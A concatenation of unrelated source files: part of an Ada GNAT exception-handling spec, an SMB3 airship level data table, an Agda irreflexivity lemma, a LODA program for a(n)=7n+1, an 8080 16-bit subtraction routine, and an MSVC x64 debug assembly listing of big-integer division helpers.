Machine_Occurrence : Representation.Machine_Occurrence_Access)
with Export, Convention => C, External_Name => "__gnat_end_handler";
-- when E : others (a-exexpr-gcc.adb)
procedure Set_Exception_Parameter (
X : not null Exception_Occurrence_Access;
Machine_Occurrence : not null Representation.Machine_Occurrence_Access)
with Export,
Convention => C, External_Name => "__gnat_set_exception_parameter";
end System.Unwind.Handling;
|
PRG/levels/Airship/W8A.asm | narfman0/smb3_pp1 | 0 | 163 | <reponame>narfman0/smb3_pp1<gh_stars>0
; Original address was $B617
; World 8 Airship
.word W8Airship_BossL ; Alternate level layout
.word W8Airship_BossO ; Alternate object layout
.byte LEVEL1_SIZE_12 | LEVEL1_YSTART_140
.byte LEVEL2_BGPAL_06 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_70
.byte LEVEL3_TILESET_10 | LEVEL3_VSCROLL_LOCKLOW | LEVEL3_PIPENOTEXIT
.byte LEVEL4_BGBANK_INDEX(10) | LEVEL4_INITACT_AIRSHIPB
.byte LEVEL5_BGM_AIRSHIP | LEVEL5_TIME_300
.byte $75, $06, $01, $76, $0C, $01, $19, $12, $15, $19, $12, $03, $18, $17, $01, $78
.byte $14, $00, $17, $16, $41, $78, $1E, $70, $07, $17, $20, $15, $57, $20, $0F, $14
.byte $24, $42, $16, $25, $01, $76, $2C, $01, $76, $22, $00, $14, $34, $15, $14, $34
.byte $03, $73, $35, $00, $12, $37, $41, $13, $39, $01, $74, $40, $02, $75, $47, $02
.byte $76, $4E, $02, $18, $56, $12, $18, $56, $03, $79, $57, $70, $0C, $75, $5C, $53
.byte $18, $61, $12, $16, $63, $01, $17, $63, $01, $71, $65, $02, $78, $6F, $01, $76
.byte $7A, $01, $71, $82, $01, $78, $8D, $01, $73, $94, $01, $75, $A1, $01, $17, $AD
.byte $13, $17, $AD, $03, $78, $AE, $70, $0E, $17, $BC, $72, $17, $BA, $12, $14, $B3
.byte $14, $15, $B3, $14, $16, $B3, $14, $17, $B3, $14, $32, $B4, $91, $EB, $42, $10
.byte $FF
|
src/Dodo/Binary/Irreflexive.agda | sourcedennis/agda-dodo | 0 | 4127 | {-# OPTIONS --without-K --safe #-}
module Dodo.Binary.Irreflexive where
-- Stdlib imports
open import Level using (Level)
open import Relation.Binary using (Rel; Irreflexive)
-- Local imports
open import Dodo.Binary.Equality
module _ {a ℓ₁ ℓ₂ ℓ₃ : Level} {A : Set a}
{≈ : Rel A ℓ₁} {P : Rel A ℓ₂} {Q : Rel A ℓ₃} where
irreflexive-⊆₂ : Irreflexive ≈ Q → P ⊆₂ Q → Irreflexive ≈ P
irreflexive-⊆₂ irreflexiveQ P⊆Q x≈y Pxy = irreflexiveQ x≈y (⊆₂-apply P⊆Q Pxy)
|
programs/oeis/016/A016993.asm | karttu/loda | 1 | 243869 | <reponame>karttu/loda
; A016993: a(n) = 7*n+1.
; 1,8,15,22,29,36,43,50,57,64,71,78,85,92,99,106,113,120,127,134,141,148,155,162,169,176,183,190,197,204,211,218,225,232,239,246,253,260,267,274,281,288,295,302,309,316,323,330,337,344,351,358,365,372,379,386,393,400,407,414,421,428,435,442,449,456,463,470,477,484,491,498,505,512,519,526,533,540,547,554,561,568,575,582,589,596,603,610,617,624,631,638,645,652,659,666,673,680,687,694,701,708,715,722,729,736,743,750,757,764,771,778,785,792,799,806,813,820,827,834,841,848,855,862,869,876,883,890,897,904,911,918,925,932,939,946,953,960,967,974,981,988,995,1002,1009,1016,1023,1030,1037,1044,1051,1058,1065,1072,1079,1086,1093,1100,1107,1114,1121,1128,1135,1142,1149,1156,1163,1170,1177,1184,1191,1198,1205,1212,1219,1226,1233,1240,1247,1254,1261,1268,1275,1282,1289,1296,1303,1310,1317,1324,1331,1338,1345,1352,1359,1366,1373,1380,1387,1394,1401,1408,1415,1422,1429,1436,1443,1450,1457,1464,1471,1478,1485,1492,1499,1506,1513,1520,1527,1534,1541,1548,1555,1562,1569,1576,1583,1590,1597,1604,1611,1618,1625,1632,1639,1646,1653,1660,1667,1674,1681,1688,1695,1702,1709,1716,1723,1730,1737,1744
mov $1,$0
mul $1,7
add $1,1
|
sub16bit.asm | sirdangd/asm | 0 | 17025 | <filename>sub16bit.asm
;sub16bit
;the first number is stored in reg bc
;the second number is stored in reg de
;the 8 bits from reg c are subtracted by the 8 bits in reg e
;the 8 bits from reg b are subtracted by the 8 bits in reg d
;sbb is used for the second subtraction isntead of sub because what is being subtracted is reg d and also whatever is in the borrow flag
jmp start
;data
;code
start: nop
lxi b, 1010h
lxi d, 0101h
mov a, c
sub e
mov l, a
mov a, b
sbb d
jm overflow
mov h, a
jmp end
overflow: lxi h, 0deadh
;mvi h, 0deh
;mvi l, 0adh
end: hlt |
Palmtree.Math.Core.Implements/vs_build/x64_Debug/CALC_divrem_critical.asm | rougemeilland/Palmtree.Math.Core.Implements | 0 | 26990 | <gh_stars>0
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27026.1
include listing.inc
INCLUDELIB MSVCRTD
INCLUDELIB OLDNAMES
msvcjmc SEGMENT
__7B7A869E_ctype@h DB 01H
__457DD326_basetsd@h DB 01H
__4384A2D9_corecrt_memcpy_s@h DB 01H
__4E51A221_corecrt_wstring@h DB 01H
__2140C079_string@h DB 01H
__1887E595_winnt@h DB 01H
__9FC7C64B_processthreadsapi@h DB 01H
__FA470AEC_memoryapi@h DB 01H
__F37DAFF1_winerror@h DB 01H
__7A450CCC_winbase@h DB 01H
__B4B40122_winioctl@h DB 01H
__86261D59_stralign@h DB 01H
__4522B509_pmc_internal@h DB 01H
__1C66ECB2_pmc_debug@h DB 01H
__7646DD32_calc_divrem_critical@c DB 01H
msvcjmc ENDS
PUBLIC CalculateCriticalDataOfDivision
PUBLIC __JustMyCode_Default
PUBLIC ??_C@_0FE@HJGKBDLB@found?3?5u0?$DN0x?$CF08x?0?5u1?$DN0x?$CF08x?0?5u2@ ; `string'
PUBLIC ??_C@_0GJ@FDENHGMK@found?3?5u0?$DN0x?$CF016llx?0?5u1?$DN0x?$CF016l@ ; `string'
EXTRN _RTC_CheckStackVars:PROC
EXTRN _RTC_InitBase:PROC
EXTRN _RTC_Shutdown:PROC
EXTRN __CheckForDebuggerJustMyCode:PROC
EXTRN statistics_info:BYTE
; COMDAT pdata
pdata SEGMENT
$pdata$_FROMWORDTODWORD DD imagerel _FROMWORDTODWORD
DD imagerel _FROMWORDTODWORD+85
DD imagerel $unwind$_FROMWORDTODWORD
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$_FROMDWORDTOWORD DD imagerel _FROMDWORDTOWORD
DD imagerel _FROMDWORDTOWORD+95
DD imagerel $unwind$_FROMDWORDTOWORD
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$_ADD_UNIT_DIV DD imagerel _ADD_UNIT_DIV
DD imagerel _ADD_UNIT_DIV+114
DD imagerel $unwind$_ADD_UNIT_DIV
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$_SUBTRUCT_UNIT_DIV DD imagerel _SUBTRUCT_UNIT_DIV
DD imagerel _SUBTRUCT_UNIT_DIV+114
DD imagerel $unwind$_SUBTRUCT_UNIT_DIV
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$_MULTIPLY_UNIT_DIV DD imagerel _MULTIPLY_UNIT_DIV
DD imagerel _MULTIPLY_UNIT_DIV+102
DD imagerel $unwind$_MULTIPLY_UNIT_DIV
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$_DIVREM_UNIT DD imagerel _DIVREM_UNIT
DD imagerel _DIVREM_UNIT+218
DD imagerel $unwind$_DIVREM_UNIT
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$IncrementDIV32Counter DD imagerel IncrementDIV32Counter
DD imagerel IncrementDIV32Counter+62
DD imagerel $unwind$IncrementDIV32Counter
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$IncrementDIV64Counter DD imagerel IncrementDIV64Counter
DD imagerel IncrementDIV64Counter+62
DD imagerel $unwind$IncrementDIV64Counter
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$AddToMULTI32Counter DD imagerel AddToMULTI32Counter
DD imagerel AddToMULTI32Counter+78
DD imagerel $unwind$AddToMULTI32Counter
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$AddToMULTI64Counter DD imagerel AddToMULTI64Counter
DD imagerel AddToMULTI64Counter+78
DD imagerel $unwind$AddToMULTI64Counter
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$CalculateCriticalDataOfDivision DD imagerel $LN19
DD imagerel $LN19+1226
DD imagerel $unwind$CalculateCriticalDataOfDivision
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$ADD_3W_UNIT DD imagerel ADD_3W_UNIT
DD imagerel ADD_3W_UNIT+163
DD imagerel $unwind$ADD_3W_UNIT
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$ADD_4W_UNIT DD imagerel ADD_4W_UNIT
DD imagerel ADD_4W_UNIT+190
DD imagerel $unwind$ADD_4W_UNIT
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$SUBTRUCT_3W_UNIT DD imagerel SUBTRUCT_3W_UNIT
DD imagerel SUBTRUCT_3W_UNIT+163
DD imagerel $unwind$SUBTRUCT_3W_UNIT
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$SUBTRUCT_4W_UNIT DD imagerel SUBTRUCT_4W_UNIT
DD imagerel SUBTRUCT_4W_UNIT+190
DD imagerel $unwind$SUBTRUCT_4W_UNIT
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$AsumeQ_ DD imagerel AsumeQ_
DD imagerel AsumeQ_+166
DD imagerel $unwind$AsumeQ_
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$CheckQ_ DD imagerel CheckQ_
DD imagerel CheckQ_+353
DD imagerel $unwind$CheckQ_
pdata ENDS
; COMDAT rtc$TMZ
rtc$TMZ SEGMENT
_RTC_Shutdown.rtc$TMZ DQ FLAT:_RTC_Shutdown
rtc$TMZ ENDS
; COMDAT rtc$IMZ
rtc$IMZ SEGMENT
_RTC_InitBase.rtc$IMZ DQ FLAT:_RTC_InitBase
rtc$IMZ ENDS
; COMDAT ??_C@_0GJ@FDENHGMK@found?3?5u0?$DN0x?$CF016llx?0?5u1?$DN0x?$CF016l@
CONST SEGMENT
??_C@_0GJ@FDENHGMK@found?3?5u0?$DN0x?$CF016llx?0?5u1?$DN0x?$CF016l@ DB 'f'
DB 'ound: u0=0x%016llx, u1=0x%016llx, u2=0x%016llx, u3=0x%016llx,'
DB ' v1=0x%016llx, v2=0x%016llx, v3=0x%016llx', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0FE@HJGKBDLB@found?3?5u0?$DN0x?$CF08x?0?5u1?$DN0x?$CF08x?0?5u2@
CONST SEGMENT
??_C@_0FE@HJGKBDLB@found?3?5u0?$DN0x?$CF08x?0?5u1?$DN0x?$CF08x?0?5u2@ DB 'f'
DB 'ound: u0=0x%08x, u1=0x%08x, u2=0x%08x, u3=0x%08x, v1=0x%08x, '
DB 'v2=0x%08x, v3=0x%08x', 0aH, 00H ; `string'
CONST ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$CheckQ_ DD 025053601H
DD 011b2320H
DD 070140035H
DD 05013H
xdata ENDS
; COMDAT CONST
CONST SEGMENT
CheckQ_$rtcName$0 DB 06cH
DB 068H
DB 05fH
DB 06dH
DB 069H
DB 00H
ORG $+2
CheckQ_$rtcName$1 DB 072H
DB 068H
DB 05fH
DB 068H
DB 069H
DB 00H
ORG $+2
CheckQ_$rtcName$2 DB 072H
DB 068H
DB 05fH
DB 06dH
DB 069H
DB 00H
ORG $+2
CheckQ_$rtcFrameData DD 03H
DD 00H
DQ FLAT:CheckQ_$rtcVarDesc
ORG $+8
CheckQ_$rtcVarDesc DD 0a4H
DD 04H
DQ FLAT:CheckQ_$rtcName$2
DD 084H
DD 04H
DQ FLAT:CheckQ_$rtcName$1
DD 044H
DD 04H
DQ FLAT:CheckQ_$rtcName$0
CONST ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$AsumeQ_ DD 025053101H
DD 0116231bH
DD 0700f0025H
DD 0500eH
xdata ENDS
; COMDAT CONST
CONST SEGMENT
AsumeQ_$rtcName$0 DB 072H
DB 00H
ORG $+14
AsumeQ_$rtcVarDesc DD 024H
DD 04H
DQ FLAT:AsumeQ_$rtcName$0
ORG $+48
AsumeQ_$rtcFrameData DD 01H
DD 00H
DQ FLAT:AsumeQ_$rtcVarDesc
CONST ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$SUBTRUCT_4W_UNIT DD 025053901H
DD 011d2322H
DD 07016001dH
DD 05015H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$SUBTRUCT_3W_UNIT DD 025053901H
DD 011d2322H
DD 07016001dH
DD 05015H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$ADD_4W_UNIT DD 025053901H
DD 011d2322H
DD 07016001dH
DD 05015H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$ADD_3W_UNIT DD 025053901H
DD 011d2322H
DD 07016001dH
DD 05015H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$CalculateCriticalDataOfDivision DD 045052a01H
DD 010e4313H
DD 0700700b9H
DD 05006H
xdata ENDS
; COMDAT CONST
CONST SEGMENT
CalculateCriticalDataOfDivision$rtcName$0 DB 075H
DB 05fH
DB 063H
DB 06fH
DB 075H
DB 06eH
DB 074H
DB 05fH
DB 030H
DB 00H
ORG $+6
CalculateCriticalDataOfDivision$rtcName$1 DB 075H
DB 05fH
DB 063H
DB 06fH
DB 075H
DB 06eH
DB 074H
DB 05fH
DB 031H
DB 00H
ORG $+2
CalculateCriticalDataOfDivision$rtcName$4 DB 075H
DB 030H
DB 00H
ORG $+1
CalculateCriticalDataOfDivision$rtcName$2 DB 075H
DB 05fH
DB 063H
DB 06fH
DB 075H
DB 06eH
DB 074H
DB 05fH
DB 032H
DB 00H
ORG $+2
CalculateCriticalDataOfDivision$rtcName$5 DB 075H
DB 031H
DB 00H
ORG $+1
CalculateCriticalDataOfDivision$rtcName$3 DB 075H
DB 05fH
DB 063H
DB 06fH
DB 075H
DB 06eH
DB 074H
DB 05fH
DB 033H
DB 00H
ORG $+2
CalculateCriticalDataOfDivision$rtcName$6 DB 075H
DB 032H
DB 00H
ORG $+1
CalculateCriticalDataOfDivision$rtcName$7 DB 075H
DB 033H
DB 00H
ORG $+1
CalculateCriticalDataOfDivision$rtcName$11 DB 076H
DB 031H
DB 00H
ORG $+1
CalculateCriticalDataOfDivision$rtcName$8 DB 076H
DB 05fH
DB 063H
DB 06fH
DB 075H
DB 06eH
DB 074H
DB 05fH
DB 031H
DB 00H
ORG $+2
CalculateCriticalDataOfDivision$rtcName$12 DB 076H
DB 032H
DB 00H
ORG $+1
CalculateCriticalDataOfDivision$rtcName$9 DB 076H
DB 05fH
DB 063H
DB 06fH
DB 075H
DB 06eH
DB 074H
DB 05fH
DB 032H
DB 00H
ORG $+2
CalculateCriticalDataOfDivision$rtcName$13 DB 076H
DB 033H
DB 00H
ORG $+1
CalculateCriticalDataOfDivision$rtcName$10 DB 076H
DB 05fH
DB 063H
DB 06fH
DB 075H
DB 06eH
DB 074H
DB 05fH
DB 033H
DB 00H
ORG $+2
CalculateCriticalDataOfDivision$rtcName$14 DB 062H
DB 075H
DB 030H
DB 00H
CalculateCriticalDataOfDivision$rtcName$15 DB 062H
DB 075H
DB 031H
DB 00H
CalculateCriticalDataOfDivision$rtcName$16 DB 062H
DB 075H
DB 032H
DB 00H
CalculateCriticalDataOfDivision$rtcName$17 DB 062H
DB 075H
DB 033H
DB 00H
CalculateCriticalDataOfDivision$rtcName$18 DB 06dH
DB 076H
DB 031H
DB 05fH
DB 068H
DB 069H
DB 00H
ORG $+1
CalculateCriticalDataOfDivision$rtcName$19 DB 06dH
DB 076H
DB 032H
DB 05fH
DB 068H
DB 069H
DB 00H
ORG $+1
CalculateCriticalDataOfDivision$rtcName$20 DB 06dH
DB 076H
DB 033H
DB 05fH
DB 068H
DB 069H
DB 00H
ORG $+5
CalculateCriticalDataOfDivision$rtcVarDesc DD 0404H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$20
DD 03c4H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$19
DD 0384H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$18
DD 0364H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$17
DD 0344H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$16
DD 0324H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$15
DD 0304H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$14
DD 02c4H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$13
DD 02a4H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$12
DD 0284H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$11
DD 0264H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$10
DD 0244H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$9
DD 0224H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$8
DD 0204H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$7
DD 01e4H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$6
DD 01c4H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$5
DD 01a4H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$4
DD 0184H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$3
DD 0164H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$2
DD 0144H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$1
DD 0124H
DD 04H
DQ FLAT:CalculateCriticalDataOfDivision$rtcName$0
ORG $+1008
CalculateCriticalDataOfDivision$rtcFrameData DD 015H
DD 00H
DQ FLAT:CalculateCriticalDataOfDivision$rtcVarDesc
CONST ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$AddToMULTI64Counter DD 025052801H
DD 010d2312H
DD 07006001dH
DD 05005H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$AddToMULTI32Counter DD 025052801H
DD 010d2312H
DD 07006001dH
DD 05005H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$IncrementDIV64Counter DD 025051e01H
DD 010a230fH
DD 07003001dH
DD 05002H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$IncrementDIV32Counter DD 025051e01H
DD 010a230fH
DD 07003001dH
DD 05002H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$_DIVREM_UNIT DD 025053601H
DD 011b2320H
DD 070140021H
DD 05013H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$_MULTIPLY_UNIT_DIV DD 025053101H
DD 0116231bH
DD 0700f001dH
DD 0500eH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$_SUBTRUCT_UNIT_DIV DD 025053701H
DD 011b2320H
DD 07014001dH
DD 05013H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$_ADD_UNIT_DIV DD 025053701H
DD 011b2320H
DD 07014001dH
DD 05013H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$_FROMDWORDTOWORD DD 025052f01H
DD 01132318H
DD 0700c001dH
DD 0500bH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$_FROMWORDTODWORD DD 025052c01H
DD 01112316H
DD 0700a001dH
DD 05009H
xdata ENDS
; Function compile flags: /Odt
; COMDAT __JustMyCode_Default
_TEXT SEGMENT
__JustMyCode_Default PROC ; COMDAT
ret 0
__JustMyCode_Default ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\calc_divrem_critical.c
; COMDAT CheckQ_
_TEXT SEGMENT
lh_hi$ = 4
lh_mi$ = 36
lh_lo$ = 68
rh_hi$ = 100
rh_mi$ = 132
rh_lo$ = 164
tv89 = 372
q_$ = 416
u0$ = 424
u1$ = 432
u2$ = 440
v1$ = 448
v2$ = 456
CheckQ_ PROC ; COMDAT
; 75 : {
mov DWORD PTR [rsp+32], r9d
mov DWORD PTR [rsp+24], r8d
mov DWORD PTR [rsp+16], edx
mov DWORD PTR [rsp+8], ecx
push rbp
push rdi
sub rsp, 424 ; 000001a8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 106 ; 0000006aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov ecx, DWORD PTR [rsp+456]
lea rcx, OFFSET FLAT:__7646DD32_calc_divrem_critical@c
call __CheckForDebuggerJustMyCode
; 76 : const __UNIT_TYPE_DIV lh_hi = 0;
mov DWORD PTR lh_hi$[rbp], 0
; 77 : __UNIT_TYPE_DIV lh_mi;
; 78 : __UNIT_TYPE_DIV lh_lo = _MULTIPLY_UNIT_DIV(v2, q_, &lh_mi);
lea r8, QWORD PTR lh_mi$[rbp]
mov edx, DWORD PTR q_$[rbp]
mov ecx, DWORD PTR v2$[rbp]
call _MULTIPLY_UNIT_DIV
mov DWORD PTR lh_lo$[rbp], eax
; 79 : __UNIT_TYPE_DIV rh_hi;
; 80 : __UNIT_TYPE_DIV rh_mi = _MULTIPLY_UNIT_DIV(q_, v1, &rh_hi);
lea r8, QWORD PTR rh_hi$[rbp]
mov edx, DWORD PTR v1$[rbp]
mov ecx, DWORD PTR q_$[rbp]
call _MULTIPLY_UNIT_DIV
mov DWORD PTR rh_mi$[rbp], eax
; 81 : __UNIT_TYPE_DIV rh_lo = u2;
mov eax, DWORD PTR u2$[rbp]
mov DWORD PTR rh_lo$[rbp], eax
; 82 : _SUBTRUCT_UNIT_DIV(_SUBTRUCT_UNIT_DIV(0, u1, rh_mi, &rh_mi), u0, rh_hi, &rh_hi);
lea r9, QWORD PTR rh_mi$[rbp]
mov r8d, DWORD PTR rh_mi$[rbp]
mov edx, DWORD PTR u1$[rbp]
xor ecx, ecx
call _SUBTRUCT_UNIT_DIV
lea r9, QWORD PTR rh_hi$[rbp]
mov r8d, DWORD PTR rh_hi$[rbp]
mov edx, DWORD PTR u0$[rbp]
movzx ecx, al
call _SUBTRUCT_UNIT_DIV
; 83 : #ifdef ENABLED_PERFORMANCE_COUNTER
; 84 : if (sizeof(lh_hi) == sizeof(_UINT32_T))
xor eax, eax
cmp eax, 1
je SHORT $LN2@CheckQ_
; 85 : AddToMULTI32Counter(2);
mov ecx, 2
call AddToMULTI32Counter
jmp SHORT $LN3@CheckQ_
$LN2@CheckQ_:
; 86 : else
; 87 : AddToMULTI64Counter(2);
mov ecx, 2
call AddToMULTI64Counter
$LN3@CheckQ_:
; 88 : #endif
; 89 : if (lh_hi > rh_hi)
mov eax, DWORD PTR rh_hi$[rbp]
cmp DWORD PTR lh_hi$[rbp], eax
jbe SHORT $LN4@CheckQ_
; 90 : return (TRUE);
mov eax, 1
jmp SHORT $LN1@CheckQ_
jmp SHORT $LN5@CheckQ_
$LN4@CheckQ_:
; 91 : else if (lh_hi < rh_hi)
mov eax, DWORD PTR rh_hi$[rbp]
cmp DWORD PTR lh_hi$[rbp], eax
jae SHORT $LN6@CheckQ_
; 92 : return (FALSE);
xor eax, eax
jmp SHORT $LN1@CheckQ_
jmp SHORT $LN7@CheckQ_
$LN6@CheckQ_:
; 93 : else if (lh_mi > rh_mi)
mov eax, DWORD PTR rh_mi$[rbp]
cmp DWORD PTR lh_mi$[rbp], eax
jbe SHORT $LN8@CheckQ_
; 94 : return (TRUE);
mov eax, 1
jmp SHORT $LN1@CheckQ_
jmp SHORT $LN9@CheckQ_
$LN8@CheckQ_:
; 95 : else if (lh_mi < rh_mi)
mov eax, DWORD PTR rh_mi$[rbp]
cmp DWORD PTR lh_mi$[rbp], eax
jae SHORT $LN10@CheckQ_
; 96 : return (FALSE);
xor eax, eax
jmp SHORT $LN1@CheckQ_
jmp SHORT $LN11@CheckQ_
$LN10@CheckQ_:
; 97 : else
; 98 : return (lh_lo > rh_lo);
mov eax, DWORD PTR rh_lo$[rbp]
cmp DWORD PTR lh_lo$[rbp], eax
jbe SHORT $LN13@CheckQ_
mov DWORD PTR tv89[rbp], 1
jmp SHORT $LN14@CheckQ_
$LN13@CheckQ_:
mov DWORD PTR tv89[rbp], 0
$LN14@CheckQ_:
mov eax, DWORD PTR tv89[rbp]
$LN11@CheckQ_:
$LN9@CheckQ_:
$LN7@CheckQ_:
$LN5@CheckQ_:
$LN1@CheckQ_:
; 99 : }
mov rdi, rax
lea rcx, QWORD PTR [rbp-32]
lea rdx, OFFSET FLAT:CheckQ_$rtcFrameData
call _RTC_CheckStackVars
mov rax, rdi
lea rsp, QWORD PTR [rbp+392]
pop rdi
pop rbp
ret 0
CheckQ_ ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\calc_divrem_critical.c
; COMDAT AsumeQ_
_TEXT SEGMENT
r$ = 4
q$ = 36
u0$ = 288
u1$ = 296
v1$ = 304
AsumeQ_ PROC ; COMDAT
; 60 : {
mov DWORD PTR [rsp+24], r8d
mov DWORD PTR [rsp+16], edx
mov DWORD PTR [rsp+8], ecx
push rbp
push rdi
sub rsp, 296 ; 00000128H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 74 ; 0000004aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov ecx, DWORD PTR [rsp+328]
lea rcx, OFFSET FLAT:__7646DD32_calc_divrem_critical@c
call __CheckForDebuggerJustMyCode
; 61 : if (u0 == v1)
mov eax, DWORD PTR v1$[rbp]
cmp DWORD PTR u0$[rbp], eax
jne SHORT $LN2@AsumeQ_
; 62 : return ((__UNIT_TYPE_DIV)-1);
mov eax, -1 ; ffffffffH
jmp SHORT $LN1@AsumeQ_
$LN2@AsumeQ_:
; 63 : __UNIT_TYPE_DIV r;
; 64 : __UNIT_TYPE_DIV q = _DIVREM_UNIT(u0, u1, v1, &r);
lea r9, QWORD PTR r$[rbp]
mov r8d, DWORD PTR v1$[rbp]
mov edx, DWORD PTR u1$[rbp]
mov ecx, DWORD PTR u0$[rbp]
call _DIVREM_UNIT
mov DWORD PTR q$[rbp], eax
; 65 : #ifdef ENABLED_PERFORMANCE_COUNTER
; 66 : if (sizeof(r) == sizeof(_UINT64_T))
xor eax, eax
test eax, eax
je SHORT $LN3@AsumeQ_
; 67 : IncrementDIV64Counter();
call IncrementDIV64Counter
jmp SHORT $LN4@AsumeQ_
$LN3@AsumeQ_:
; 68 : else
; 69 : IncrementDIV32Counter();
call IncrementDIV32Counter
$LN4@AsumeQ_:
; 70 : #endif
; 71 : return (q);
mov eax, DWORD PTR q$[rbp]
$LN1@AsumeQ_:
; 72 : }
mov rdi, rax
lea rcx, QWORD PTR [rbp-32]
lea rdx, OFFSET FLAT:AsumeQ_$rtcFrameData
call _RTC_CheckStackVars
mov rax, rdi
lea rsp, QWORD PTR [rbp+264]
pop rdi
pop rbp
ret 0
AsumeQ_ ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\calc_divrem_critical.c
; COMDAT SUBTRUCT_4W_UNIT
_TEXT SEGMENT
x1$ = 224
x2$ = 232
x3$ = 240
x4$ = 248
y$ = 256
SUBTRUCT_4W_UNIT PROC ; COMDAT
; 55 : {
mov QWORD PTR [rsp+32], r9
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__7646DD32_calc_divrem_critical@c
call __CheckForDebuggerJustMyCode
; 56 : return (_SUBTRUCT_UNIT_DIV(_SUBTRUCT_UNIT_DIV(_SUBTRUCT_UNIT_DIV(_SUBTRUCT_UNIT_DIV(0, *x4, y, x4), *x3, 0, x3), *x2, 0, x2), *x1, 0, x1));
mov r9, QWORD PTR x4$[rbp]
mov r8d, DWORD PTR y$[rbp]
mov rax, QWORD PTR x4$[rbp]
mov edx, DWORD PTR [rax]
xor ecx, ecx
call _SUBTRUCT_UNIT_DIV
mov r9, QWORD PTR x3$[rbp]
xor r8d, r8d
mov rcx, QWORD PTR x3$[rbp]
mov edx, DWORD PTR [rcx]
movzx ecx, al
call _SUBTRUCT_UNIT_DIV
mov r9, QWORD PTR x2$[rbp]
xor r8d, r8d
mov rcx, QWORD PTR x2$[rbp]
mov edx, DWORD PTR [rcx]
movzx ecx, al
call _SUBTRUCT_UNIT_DIV
mov r9, QWORD PTR x1$[rbp]
xor r8d, r8d
mov rcx, QWORD PTR x1$[rbp]
mov edx, DWORD PTR [rcx]
movzx ecx, al
call _SUBTRUCT_UNIT_DIV
; 57 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
SUBTRUCT_4W_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\calc_divrem_critical.c
